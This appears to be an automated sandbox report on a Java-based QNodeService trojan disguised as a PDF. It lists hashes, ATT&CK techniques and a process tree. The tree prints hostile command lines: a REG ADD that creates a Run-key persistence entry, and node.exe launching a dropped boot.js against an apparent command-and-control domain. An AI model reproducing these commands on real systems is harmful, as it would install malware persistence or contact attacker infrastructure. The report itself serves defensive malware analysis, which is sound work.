qnodeservice | 5a05e869709ef13c58a05df68ab56d011c369eb95924fcc982130b08ea8f613f

General

Target

CO R94-04________PDF.jar
Size

59KB
MD5

0f2e06b1ab0a16efe82f01d6945b07ed
SHA1

93f0ebd75a154a32a2fa33e67de22b3b2d199dac
SHA256

5a05e869709ef13c58a05df68ab56d011c369eb95924fcc982130b08ea8f613f
SHA512

1f686d7a3e40d976fc6bf7a9f467414d000334809a7903b63e1907863605748aff78e52470aec597cfbd92455110e77401a4dd58f27bcfe49cf89ebdafb12fac

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3892	node.exe
1212	node.exe
188	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\fc977794-6464-46fd-907e-896ad60852ec = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab82-171.dat	js
behavioral2/files/0x000100000001ab82-174.dat	js
behavioral2/files/0x000100000001ab82-178.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3892	node.exe
3892	node.exe
3892	node.exe
3892	node.exe
1212	node.exe
1212	node.exe
1212	node.exe
1212	node.exe
188	node.exe
188	node.exe
188	node.exe
188	node.exe
188	node.exe
188	node.exe
188	node.exe
188	node.exe
188	node.exe
188	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 412 wrote to memory of 3160	412	java.exe	76
PID 412 wrote to memory of 3160	412	java.exe	76
PID 3160 wrote to memory of 3892	3160	javaw.exe	80
PID 3160 wrote to memory of 3892	3160	javaw.exe	80
PID 3892 wrote to memory of 1212	3892	node.exe	82
PID 3892 wrote to memory of 1212	3892	node.exe	82
PID 1212 wrote to memory of 188	1212	node.exe	83
PID 1212 wrote to memory of 188	1212	node.exe	83
PID 188 wrote to memory of 3132	188	node.exe	85
PID 188 wrote to memory of 3132	188	node.exe	85
PID 3132 wrote to memory of 1112	3132	cmd.exe	86
PID 3132 wrote to memory of 1112	3132	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\CO R94-04________PDF.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:412
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\232792a8.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain eastmotos.ga
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_VqHxoO\boot.js --hub-domain eastmotos.ga
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1212
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_VqHxoO\boot.js --hub-domain eastmotos.ga
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:188
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "fc977794-6464-46fd-907e-896ad60852ec" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3132
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "fc977794-6464-46fd-907e-896ad60852ec" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1112

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/188-179-0x000002506C3C0000-0x000002506C3C1000-memory.dmp

Filesize
4KB

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memory/1212-175-0x000002E8A2A80000-0x000002E8A2A81000-memory.dmp

Filesize
4KB

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memory/3892-172-0x0000014EF0F40000-0x0000014EF0F41000-memory.dmp

Filesize
4KB

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